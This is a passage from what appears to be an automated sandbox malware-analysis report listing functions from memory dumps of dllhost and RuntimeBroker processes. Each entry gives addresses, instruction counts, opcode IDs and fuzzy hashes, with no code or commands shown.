              • Opcode Fuzzy Hash: 386dd9ebdfbd606cd5eb9b3d11e4614ed6bed99b8df8328b951d49a8d09c3fe8
              • Instruction Fuzzy Hash: D811A062A0E7CD6FD7129BA49C646EE3FA0EF12214F0901F7D448C65A3EA281A48C795
              Function 00007FFD9B7F19C8 Relevance: .1, Instructions: 56COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000B.00000002.1761702302.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_11_2_7ffd9b7f0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 7ad2256d63cafa4975f3e40c3be20147685a63015d8ac6d89d76d8be6bb913ef
              • Instruction ID: b5bb51619a77e088d7975a5bbce1be8632722565cfa38c2274ad6430d07ca6ee
              • Opcode Fuzzy Hash: 7ad2256d63cafa4975f3e40c3be20147685a63015d8ac6d89d76d8be6bb913ef
              • Instruction Fuzzy Hash: 3011E562A0F3CD6FD7129BA48C645EE3FA0EF12214F0901F7D448C75A3E9281648C795
              Function 00007FFD9B7F19B8 Relevance: .1, Instructions: 55COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000B.00000002.1761702302.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_11_2_7ffd9b7f0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 892cd41a4d3ded0147ff5c6a64eaa92a5bcf044281b89f5fdbe7e6c4f53b41b2
              • Instruction ID: 452568c511260f38ad4c30d995bdc96b8671f4bc44460f07e3dbf66fa75412c5
              • Opcode Fuzzy Hash: 892cd41a4d3ded0147ff5c6a64eaa92a5bcf044281b89f5fdbe7e6c4f53b41b2
              • Instruction Fuzzy Hash: 4E014512A4F3C91FD3225BB49C346EE3FA0DF02215F0A01FBD444C65A3E9281A49C3D5
              Function 00007FFD9B7F1511 Relevance: .0, Instructions: 46COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000B.00000002.1761702302.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_11_2_7ffd9b7f0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 3da00b341f4473af78cf4639c46e9ca2bd81afa9cbec96387e335000627f24d0
              • Instruction ID: 044ee9c450e641d103c3624cb837c3476e51be80e540b1633b1aee920495d79c
              • Opcode Fuzzy Hash: 3da00b341f4473af78cf4639c46e9ca2bd81afa9cbec96387e335000627f24d0
              • Instruction Fuzzy Hash: DF017C3189E3CA8FC7135BB488756A03FB0AF47214F0A05EAD4998F0F3D619652AD722
              Function 00007FFD9B7F176F Relevance: .0, Instructions: 46COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000B.00000002.1761702302.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_11_2_7ffd9b7f0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: ac4b8d76429f66d906dcc33de9b5ae435d0512e10360499260da7d99516e8035
              • Instruction ID: c09d799b414f5e1086fbf59b68205b352701d131840636153ea974371b2bfe3e
              • Opcode Fuzzy Hash: ac4b8d76429f66d906dcc33de9b5ae435d0512e10360499260da7d99516e8035
              • Instruction Fuzzy Hash: AF019E3198E3C99FDB439BB088689D57FF0EF47214F1901EAD489CB0B3C669564AC762
              Function 00007FFD9B7F0A79 Relevance: .0, Instructions: 41COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000B.00000002.1761702302.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_11_2_7ffd9b7f0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 27b7a1bd6e070ffaf6e51434c73f6d96510dba7ea56b32f2da7eac3e052eb34d
              • Instruction ID: b7439809cf30137fb3b57f9461288a115a1cae6e89ee36d763aefb95a9506298
              • Opcode Fuzzy Hash: 27b7a1bd6e070ffaf6e51434c73f6d96510dba7ea56b32f2da7eac3e052eb34d
              • Instruction Fuzzy Hash: 5C01D471B0F38D8FE7669FA448782F83FA0EF56710F4601AAD488C62F2D9285954C741
              Function 00007FFD9B7F0BD3 Relevance: .0, Instructions: 41COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000B.00000002.1761702302.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_11_2_7ffd9b7f0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0ed9e469806878b8b7fbf8e62ffc179c39d405540d6ff1eb7b49153841b18c67
              • Instruction ID: 4b383ab2d7d9c7f0137a045a03aafacb59d2788d1de0bb485d68f993396aac38
              • Opcode Fuzzy Hash: 0ed9e469806878b8b7fbf8e62ffc179c39d405540d6ff1eb7b49153841b18c67
              • Instruction Fuzzy Hash: DB01FE70F0A21E8EDB60DFE488546FE7AB0AF05705F510635D019A23B1DB7867448BD8
              Function 00007FFD9B7F148F Relevance: .0, Instructions: 39COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000B.00000002.1761702302.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_11_2_7ffd9b7f0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 6f0ccc9e0ec3e597a7e6b203600d8c7b8cb01ecc2bd5050193b0c06bf3c471fa
              • Instruction ID: 4dbe7e7fb9ef5e83f758f078560f6d5a8dd5f9f1cf10ff450ff22bec8e9d65bc
              • Opcode Fuzzy Hash: 6f0ccc9e0ec3e597a7e6b203600d8c7b8cb01ecc2bd5050193b0c06bf3c471fa
              • Instruction Fuzzy Hash: B601A930E0A61ECFDB64EF84D854AFC7AB1FF55300F510239D019A36A1DA746A44CB44
              Function 00007FFD9B7F0A90 Relevance: .0, Instructions: 35COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000B.00000002.1761702302.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_11_2_7ffd9b7f0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0e66292606e095cff2daab953b2a110f4bf6c0e9bba25d791b7f59a6232e7ed3
              • Instruction ID: be8579f4e3f743a1bdcdee207ef67a32cd667b25fbd1557b71106a5b75e4eaef
              • Opcode Fuzzy Hash: 0e66292606e095cff2daab953b2a110f4bf6c0e9bba25d791b7f59a6232e7ed3
              • Instruction Fuzzy Hash: 21F02430F1E34D8AEB64AFA488682F93FE0EF15704F41017AE489C22F1D92466A4C380

              Executed Functions

              Function 00007FFD9B8084A0 Relevance: 1.4, Strings: 1, Instructions: 167COMMON
              Download Yara Rule
              Strings
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID: UK_^
              • API String ID: 0-279478213
              • Opcode ID: d19e7d1e3626d12bfea4b1f1c829ef535eedc15fa7b70bbfe64b85ab29f1e91e
              • Instruction ID: bdb5c37ad084fb153da32d3cdecdb11e75f4fc8516dff052294f75c053832354
              • Opcode Fuzzy Hash: d19e7d1e3626d12bfea4b1f1c829ef535eedc15fa7b70bbfe64b85ab29f1e91e
              • Instruction Fuzzy Hash: E4511836A0D28D8FD745EF68D8A99EE7FB0EF45319F0941B7E448C60A7DA349984C780
              Function 00007FFD9B80DF90 Relevance: .6, Instructions: 577COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 4be4d8f584536759cddd877651517ec265312f1d85408d10f94e3e9aecd0bcdc
              • Instruction ID: 1e2398445cdcb5cfb51d28a8571b1f438a09c4e2292fadf7c212de45ec626543
              • Opcode Fuzzy Hash: 4be4d8f584536759cddd877651517ec265312f1d85408d10f94e3e9aecd0bcdc
              • Instruction Fuzzy Hash: 1B12C031E0E68D8FEB65EFA888656ED7BB0FF19301F4501BAD44CD71A3DA286944CB41
              Function 00007FFD9B8018E8 Relevance: .3, Instructions: 343COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 57575ed00d0cd1f82bc5c28582eb9ce78809340a2fb2044c8bb742b6aad7e8a0
              • Instruction ID: c40fc2a5566cb3711a4b3c0897cced82cd8e65ce2382ea8649035fba33648a9b
              • Opcode Fuzzy Hash: 57575ed00d0cd1f82bc5c28582eb9ce78809340a2fb2044c8bb742b6aad7e8a0
              • Instruction Fuzzy Hash: FAB14A32B089894FDB55EF6CD865AEC7BA0FF8A325F5541B6D088C72D6DE242405C781
              Function 00007FFD9B800975 Relevance: .3, Instructions: 320COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 6014454d031a271cf738ce6545520a4f0982fa8bd35fec6516b549c9e8ad96f7
              • Instruction ID: 234d614e5b916172fa389e126e46b473522e631c538a29374d9759d8707a69e3
              • Opcode Fuzzy Hash: 6014454d031a271cf738ce6545520a4f0982fa8bd35fec6516b549c9e8ad96f7
              • Instruction Fuzzy Hash: 5DC1D631E1F28D8FE7619BA488756FD7BB0EF0A744F4605BAD088D70E2DA386A44C751
              Function 00007FFD9B80176F Relevance: .3, Instructions: 257COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 9f358372814fcf7c9f2dba5d0d2c0e5bf38fdf009c700dca00c59af61d480aa3
              • Instruction ID: c4b87f38084bcc912b0a36b97ef6e64f302ffebe31a4316fdb37d21f04de38d6
              • Opcode Fuzzy Hash: 9f358372814fcf7c9f2dba5d0d2c0e5bf38fdf009c700dca00c59af61d480aa3
              • Instruction Fuzzy Hash: FA814B36A0D7958FC702BB78A8655E83B70FF83325B1945F7D084CB0A7DA28251AC792
              Function 00007FFD9B8019D3 Relevance: .2, Instructions: 249COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: dc007c8bb57fd72f1f0d50fb39741929ffab68ea09a0839b321d5f0a5ee74b5c
              • Instruction ID: 433d9576938ef2b87e844a3d6c995686529c0af8f9172585e7be704696f28203
              • Opcode Fuzzy Hash: dc007c8bb57fd72f1f0d50fb39741929ffab68ea09a0839b321d5f0a5ee74b5c
              • Instruction Fuzzy Hash: 5E81E472A0998D4FDB55EF68C875BED7FA0FF9A310F4501BAE048C72E6DA682905C740
              Function 00007FFD9B8019C0 Relevance: .2, Instructions: 236COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 1e3b460c417f31a54863a8e5ba842bc2740f6a4f1c9707607f46a0f23a159c0f
              • Instruction ID: 2ba6601f247c78fc028b8b234dc2290d0a99cefb12d027e830d52c059e382183
              • Opcode Fuzzy Hash: 1e3b460c417f31a54863a8e5ba842bc2740f6a4f1c9707607f46a0f23a159c0f
              • Instruction Fuzzy Hash: 7D81D172A0998D4FDB55EFA88875BED7FE0FF5A310F4501BAE048C72E6DA682905C740
              Function 00007FFD9B800C68 Relevance: .2, Instructions: 234COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: e93141206931865aa2bbec4c7710e347a1dfdafdf60a2f1365c54d78552f7d17
              • Instruction ID: 979c16448f86caf7e6e1afccc4137880e1bbb17bb39e4cab1b5af3fbea707a6c
              • Opcode Fuzzy Hash: e93141206931865aa2bbec4c7710e347a1dfdafdf60a2f1365c54d78552f7d17
              • Instruction Fuzzy Hash: E8919331D1E28D8FE7619BA488686F97FB0EF1A740F0501B6D488D71E2DA786A48C751
              Function 00007FFD9B8019C8 Relevance: .2, Instructions: 233COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: e554a2144d9896896e5008bb0969bca116a714bd8d03cb1b7d01cefbc2ec1883
              • Instruction ID: 3387d929aed750de73dfdda60df64b01916e24f885a83469a76143337bf57c4d
              • Opcode Fuzzy Hash: e554a2144d9896896e5008bb0969bca116a714bd8d03cb1b7d01cefbc2ec1883
              • Instruction Fuzzy Hash: 4F81D172A0998D8FDB55EF688875BED7FE0FF5A310F4501BAE048C72E6DA682905C740
              Function 00007FFD9B807E38 Relevance: .2, Instructions: 209COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: e8301efca1463a242447dd1e1cc6008df27ca73f9844359cf27a56b86d53a7ad
              • Instruction ID: 676602c8f8bcd0e8c7b533c9927e5519fe8838222c611a81259fc0de3651007e
              • Opcode Fuzzy Hash: e8301efca1463a242447dd1e1cc6008df27ca73f9844359cf27a56b86d53a7ad
              • Instruction Fuzzy Hash: 1D712D3591E68D8FDB91EF68C859AE93BF0FF19300F0501AAE858C71A2D734E954CB41
              Function 00007FFD9B801511 Relevance: .2, Instructions: 177COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: e1606a81ddbb88e4fb71973a3baa61421561ec7baae06628fc37cb7329b1204d
              • Instruction ID: 6306f544e2c970432c925d85799f78e7fc21318965de2809270393f57b223d2e
              • Opcode Fuzzy Hash: e1606a81ddbb88e4fb71973a3baa61421561ec7baae06628fc37cb7329b1204d
              • Instruction Fuzzy Hash: 1D615E71E1A24D8FDB65EBA4C8646FC7BF0FF4A350F0501BAE049E71A2DA386945CB11
              Function 00007FFD9B800510 Relevance: .2, Instructions: 166COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 5d40bee85fbc6f820acd82a60d7915de5d1fbd805e79230e37a4f9fe19c8bdd6
              • Instruction ID: caea62e252ce196cc52eef26c400c6b0f211ea01d49cb8e3103ed27084a0da91
              • Opcode Fuzzy Hash: 5d40bee85fbc6f820acd82a60d7915de5d1fbd805e79230e37a4f9fe19c8bdd6
              • Instruction Fuzzy Hash: 3C516936F0D19A8AE720FBA8A4695FD3BB0EF46369F1645B7D09D850D3CE382545C381
              Function 00007FFD9B800A90 Relevance: .1, Instructions: 140COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 4e49b1fa28fe731d8f8e3918d1e1f5b7faa4986e1432ead0ed77b3c3188710f0
              • Instruction ID: 8a14cf1ec4c803a567b9f934f004a4ea91a61a73652007603b923ae3134825cb
              • Opcode Fuzzy Hash: 4e49b1fa28fe731d8f8e3918d1e1f5b7faa4986e1432ead0ed77b3c3188710f0
              • Instruction Fuzzy Hash: 1D410330E2E68E8FE761AFA488346FD7BA1EF19744F4101B6D488C71E2DA386A44C741
              Function 00007FFD9B809070 Relevance: .1, Instructions: 126COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 772c857b91614f378a720aebe543ee2013a17e5017ad9095d72a62fa5a649b84
              • Instruction ID: 419f0d8c49f492c389786f81ebeb41b1a4d24b047f7aa242d6ab9d5bd2703a46
              • Opcode Fuzzy Hash: 772c857b91614f378a720aebe543ee2013a17e5017ad9095d72a62fa5a649b84
              • Instruction Fuzzy Hash: D5418E30A0A64E8FDB61EF68C8586ED7BF0FF59300F0105BAD458D71A2DA78AA44CB41
              Function 00007FFD9B815430 Relevance: .1, Instructions: 120COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 08915360ef3d69bdc9178732a7043a57127c99fa5211890b48d996246d3b6c27
              • Instruction ID: 0f1368beb8417bdeae3ece50ecde292df75ebdace0bd68d79c0a1d673063b6b8
              • Opcode Fuzzy Hash: 08915360ef3d69bdc9178732a7043a57127c99fa5211890b48d996246d3b6c27
              • Instruction Fuzzy Hash: DF418D31E0F28E8FE7219BA498256FD7BB0FF0A310F4615B6D409D61E6DA386648C752
              Function 00007FFD9B800580 Relevance: .1, Instructions: 114COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 32f3782b58f88837c4481db298a862ad405bcce58deeb687f0414c85774f5b18
              • Instruction ID: ff63ca9d4d60c1810e7b609e33186973640bef624785d07eaed6b87f17e6bc3b
              • Opcode Fuzzy Hash: 32f3782b58f88837c4481db298a862ad405bcce58deeb687f0414c85774f5b18
              • Instruction Fuzzy Hash: 8C412831E0E24E8FD720EBA8D4686FD7BB0EF49314F1545B6D099960E3DE386644C781
              Function 00007FFD9B80118F Relevance: .1, Instructions: 99COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 919ecfaae4060865dbd7df35f928ebec9091c7aa5b46bc8f86279de8f7dabeb2
              • Instruction ID: 92c71e3d477d64e9ba7fe9ec4e26ba72eb42877dc5ce023fb35546f69d203f06
              • Opcode Fuzzy Hash: 919ecfaae4060865dbd7df35f928ebec9091c7aa5b46bc8f86279de8f7dabeb2
              • Instruction Fuzzy Hash: A4419670E2551D8EEBA4EBA8C865BECB7B1FF58740F514179D04DF32A2DE346A818B01
              Function 00007FFD9B8005D0 Relevance: .1, Instructions: 96COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 69201de5ca74044d1f756582f26e99a265fefb0ab5a578d52f9d781077939c54
              • Instruction ID: 239589e914c841bf36f4d5d337544c468e7e21fe0e0fa1d96de31fd737fe90a2
              • Opcode Fuzzy Hash: 69201de5ca74044d1f756582f26e99a265fefb0ab5a578d52f9d781077939c54
              • Instruction Fuzzy Hash: 7C315E30E0A24E8FEB20DF98C8687FDB7B0FF49340F01057AD459A61A1DB786A44CB51
              Function 00007FFD9B8012B7 Relevance: .1, Instructions: 93COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 2ab140b49fd3fbe545451dbaabcbd83f7b6a24479d34ce5a22a0d9e12e0fba42
              • Instruction ID: 038ac6586fd92d84d9c4d5dd3090a832cbe1d7ca723508c3c8883a7d51d13b38
              • Opcode Fuzzy Hash: 2ab140b49fd3fbe545451dbaabcbd83f7b6a24479d34ce5a22a0d9e12e0fba42
              • Instruction Fuzzy Hash: 8141A670E2551D8EEBA4EB58C865BECB6B1FF5C740F4141FA904DF22A2DE746A808F41
              Function 00007FFD9B815470 Relevance: .1, Instructions: 88COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 9ecdaf4e539e6ccbc9b6a2f4a57cf46f5229b8d54f6fe0a1767be783e013826d
              • Instruction ID: e0da1a0a020ade413171c3f9c2b4814f1d3260550b483bbfde93b01331a4e227
              • Opcode Fuzzy Hash: 9ecdaf4e539e6ccbc9b6a2f4a57cf46f5229b8d54f6fe0a1767be783e013826d
              • Instruction Fuzzy Hash: 9331BF31E0F24E8FE7219BA4C8246FE3BB0FF09311F0516B6D409D61E6EA38A654CB41
              Function 00007FFD9B80CDE0 Relevance: .1, Instructions: 79COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: f37813c82a173b1c183ba4c40eb5fc3ceecfc7d0834f09e67005e3e184001893
              • Instruction ID: 8c5f041b027fef1eb602ae14bf67c34d0683ec54140aaa8b353bac0be09b9bc8
              • Opcode Fuzzy Hash: f37813c82a173b1c183ba4c40eb5fc3ceecfc7d0834f09e67005e3e184001893
              • Instruction Fuzzy Hash: B0214C30D1925D8FEB64DFA4C8686EDB7B0FF19344F1101BAD448D72A1DB386A84CB41
              Function 00007FFD9B80168D Relevance: .1, Instructions: 79COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: c760da173813bc014161f003ebab181fe3e28bec6fae5da7fa342b22f114d6ff
              • Instruction ID: 339fe7b40220bcea4b74cb7cc6b516b218be6247587a73f0f2b4afe77ce4f200
              • Opcode Fuzzy Hash: c760da173813bc014161f003ebab181fe3e28bec6fae5da7fa342b22f114d6ff
              • Instruction Fuzzy Hash: 32213670E1951D8FDBA4EB98C8A4AFDB7F1FF59350F11003AE009E72A1CA786940CB00
              Function 00007FFD9B808EC0 Relevance: .1, Instructions: 71COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: e2f638c0b1ff4db721e886cc301e99fda580ce4a4a125fae380fec3610d6e798
              • Instruction ID: bb1f0df6459564bd786bb4b4d51328cfcc8b401da6df9f8e4f9e43e324c140e7
              • Opcode Fuzzy Hash: e2f638c0b1ff4db721e886cc301e99fda580ce4a4a125fae380fec3610d6e798
              • Instruction Fuzzy Hash: C821CD31D1E78E8FDB51DF2488656E93BB0FF1A304F4104BBE848CA1A2CA38A654CB51
              Function 00007FFD9B813078 Relevance: .1, Instructions: 62COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 8a437e3c91e6f7eac5bb383defb3a358d0fa1b6cb321dcf405c0e7b20adba762
              • Instruction ID: 6b26bf3b9dcf433495e616afa2c8a6ba51298f4349ae0a39657344531ea32d0d
              • Opcode Fuzzy Hash: 8a437e3c91e6f7eac5bb383defb3a358d0fa1b6cb321dcf405c0e7b20adba762
              • Instruction Fuzzy Hash: 40117031E0A94E8BDBA0EBA8D8256FE77B0FF9C310F411576E01DE3291CE2469558790
              Function 00007FFD9B8019B8 Relevance: .1, Instructions: 54COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000C.00000002.1736299932.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_12_2_7ffd9b800000_RuntimeBroker.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 8eccd4e66c81e7359ef1f5f3c3660ac1207cec6bf2777ed41585c0ceee2dfb17
              • Instruction ID: a96368adc0a2e24f712fc9cabba55fccf29b18538c9cfe0301bb6b6cbd995489
              • Opcode Fuzzy Hash: 8eccd4e66c81e7359ef1f5f3c3660ac1207cec6bf2777ed41585c0ceee2dfb17
              • Instruction Fuzzy Hash: 8001491250F7C91FD3226BB49C345EA3FB0DF07225F1904FBE084C61A3E9191A49D391
